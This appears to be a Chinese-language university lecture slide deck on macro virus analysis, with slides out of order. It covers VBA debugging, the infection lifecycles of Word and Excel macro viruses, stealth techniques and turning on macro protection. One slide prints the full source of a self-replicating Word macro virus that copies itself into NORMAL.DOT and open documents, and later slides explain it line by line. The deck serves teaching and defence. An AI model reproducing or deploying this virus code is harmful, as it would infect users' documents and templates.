当前位置:文档之家› 第十讲 宏病毒分析

第十讲 宏病毒分析


调试 VBA
设置断点
断点会在被设置的位置中断程序代码的执行
点击代码窗口左侧灰色空白处以设 置断点.
断点会被高亮显示出来,并且左边 有一个红点显示
16
调试 VBA
变量的值
为了查看一个变量的值,指向 该变量(在调试模式下)
该变量的值会自动显示出来
17
MS Word 宏病毒
• Word 病毒感染通用模板,该文件的名字为 NORMAL.DOT. • 该文件维护缺省的和用户自定义的关于MS-Word的设置 • 该文件的修改会影响所有后来用word打开的文件
– 这样的话,我们只需参考Dobj.VBComponents.Import ("c:\demo.sys")`
38
提示!!!
39
Main Title, 和宏的安全性 Office 2000 60 pt., U/L case LS=.8 lines
7
SoftWindows 98
8
VBA3, VBA5, VBA6 & Excel
宏语言 • • • • • Formula – Excel 4.0 VBA3 – Excel 5.0 WordBasic – Word 6.0 VBA5 – Office 97 applications VBA6 – Office 2000
• Office 97/2000
– 在文档用密码进行保护后,宏语句还是可以被查看到
29
文件损坏和手动编辑
• WinWord 6.0
– 在宏语句进行复制的时候有一个程序的错误 – 这会导致 WM/NPAD 200个不同的变种 – 1997/98-自然的损坏是病毒主要来源
• Office 97
– 可以用VBE进行编辑 (ALT+F11) – 用户手动编辑出来的宏是病毒的主要来源
33
运行逻辑
• • • • • 导出到 C:\DEMO.SYS (病毒源代码) 检查是否已经安装在NORMAL.DOT - 如果是的话,设置变量 检查是否已经安装在活动文件中 – 如果是的话设置变量 如果在NORMAL.DOT中没有的话将C:\DEMO.SYS导入 如果在活动文件中没有的话将C:\DEMO.SYS导入
Microsoft Excel Auto_Open Auto_Close Auto_Activate Auto_Deactivate
23
菜单关联/快捷键
• 将宏和菜单栏的某个选项相关联 • 删除和修改菜单栏中的项目 • 将宏和键盘上的某个键相关联
• 这些方法可以取代使用auto-macros的 方法取得控制权
• 这些病毒在执行的时候会将自身复制到其它的Excel文 件中去,同时在Excel的启动文件夹中也会留下一份拷 贝
• MS Excel 在启动的时候会自动加载在这个文件夹中的 所有文件
20
EXCEL 宏病毒的生命周期
• Excel 病毒在启动文件夹XLSTART中生成一个新的启动文件 • Excel 在下次运行时加载该文件 (PERSONAL.XLS) • Excel 不检查文件的后缀名,因此许多病毒遗留下来的文件就 不添加后缀名,比如 ‘BOOK1’
30
其它
• • • • • 手动删除某些外来的宏语句 防病毒产品没有完全将宏病毒正确清除 WinWord 在复制宏语句时异常终止 由于Word 6.0 的其它原因生成的不正常的宏语句 VBA5/VBA6 在单一模组中允许多项功能和多个事件操作同时 进行 • Office 97/2000 – 很少有其它情形下产生的宏病毒
18
WORD 宏病毒的生命周期
• 某个宏病毒对文档取得控制权 • 该病毒将自身复制到通用模板 • 通用模板在启动时自动调用 • 某些受感染文件会直接查找硬盘上的相关文 件 • 有时会使用最近打开的文件列表 • 其它的会把自己复制到模板文件中去(类似 通用模板)
19
Microsoft Excel 病毒
– 如果在活动文件中有名为“demo”的模组,将ActivInstall 的变量 值置为1(true)
• Next I
– 重复执行一次
• If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject

– 重复执行一遍
• For I = 1 To ActiveDocument.VBProject.VBComponents.Count – 根据活动文件中模组的数目重复执行下面的代码
36
代码分析:续
• If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True
24
多态宏病毒
• 举例 – W97M/CLASS.A & W97M/STP • 利用WinWord的编辑功能修改自身的代码
25
隐形和加密
• 病毒代码防止被轻易查看到的措施
26
隐形和加密:续
27
隐形和加密:续
• 宏病毒存储时代码随机打乱
28
口令保护
• WinWord 6.0/7.0
– 整个文件可以进行密码保护 – 整个文件被打乱 – 不能访问该文件和其中的宏
31
混合
• • • •
不同的宏病毒存在在一个用户系统中 从其它的宏病毒中”借鉴” 从通用模板中的宏语句获取相应的信息 相同的病毒往往处在同一类型的模组中,称为 ‘ThisDocument’ 或 ‘ThisWorkbook’
32
病毒代码
Sub AutoClose() On Error Resume Next Application.VBE.ActiveVBProject.VBComponents("demo").Export "c:\demo.sys" For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "demo" Then NormInstall = True Next I For I = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True Next I If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject Else If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject Dobj.VBComponents.Import ("c:\demo.sys") End Sub
– 如果在当前文档中安装完毕,但在normal.dot中没有的话,导入 到normal.dot文档中
37
代码分析:续
• Else If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
34
代码分析
• Sub AutoClose()
– 当文件关闭时会自动启用
• On Error Resume Next
– 如果出错,就接下去执行下面的指示
• For I = 1 To NormalTemplate.VBProject.VBComponents.Count
– 在 normal.dot 中根据模组中的数目重复执行下面的代码
3

• 宏允许用户在做一些重复工作(例如打开、修改和保存文件) 时提高自动化程度 • 很多主流软件包括Microsoft Word, Microsoft Excel, Microsoft PowerPoint, Visio, 和 Lotus AmiPro 都有很强的编 写宏的功能
4

• 宏并不局限于同一种软件创建的文件,别的文件类型也同样 • 这使得使用宏编写一个文件传播到另一个文件的病毒程序变 得相对简单
• 注 从WinWord 7.0a – 1st 以后,微软的 程序开始自带防病毒的警告机制
9
Visual Basic for Applications
• January 1997
– 微软发布 Office 97 (所有的程序都采用 VBA5)
• Word 8.0
– 可以转化(重编码)以前的宏到新的语言版本 – 转化的成功率 – 90% – 自动删除常见的宏病毒以阻止它们的传播
– 另外,如果已经安装在normal.dot中而在当前文档中没有的话, 导入到当前文档中
• Dobj.VBComponents.Import ("c:\demo.sys")
– 这将会把c:\demo.sys导入到normal.dot或者活动文档,根据上面 设置的变量值决定
• Set Dobj = ActiveDocument.VBProject
• 单击 Tools>Options • 在 Options 对话框, 选中 Macro virus protection
14
禁用宏
打开宏病毒防护功能 (Office 2000)
• 单击Tools>Macro>Security • 在 Security 对话框中,选择 High 或 Medium
相关主题